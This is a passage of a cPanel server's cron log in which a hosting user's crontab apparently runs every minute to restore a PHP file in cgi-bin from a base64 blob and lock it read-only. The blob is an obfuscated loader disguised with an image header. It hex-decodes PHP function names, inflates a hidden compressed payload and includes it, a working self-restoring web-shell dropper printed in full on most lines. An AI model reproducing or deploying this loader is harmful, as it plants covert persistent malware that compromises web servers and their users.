fXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:17:01 server CROND[31548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:18:01 server CROND[31625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:19:01 server CROND[31703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:20:01 server CROND[31772]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 00:20:01 server CROND[31775]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 00:20:01 server CROND[31777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:20:01 server CROND[31776]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 00:20:01 server CROND[31774]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 00:21:01 server CROND[31904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:22:01 server CROND[31960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:23:01 server CROND[32132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:24:01 server CROND[32196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:25:01 server CROND[32269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 00:25:01 server CROND[32270]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  7 00:25:01 server CROND[32271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 00:25:01 server CROND[32272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:26:01 server CROND[32393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:27:01 server CROND[32455]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 00:27:01 server CROND[32457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:28:01 server CROND[32656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:29:01 server CROND[32742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 00:30:01 server CROND[365]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  7 00:30:01 server CROND[367]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
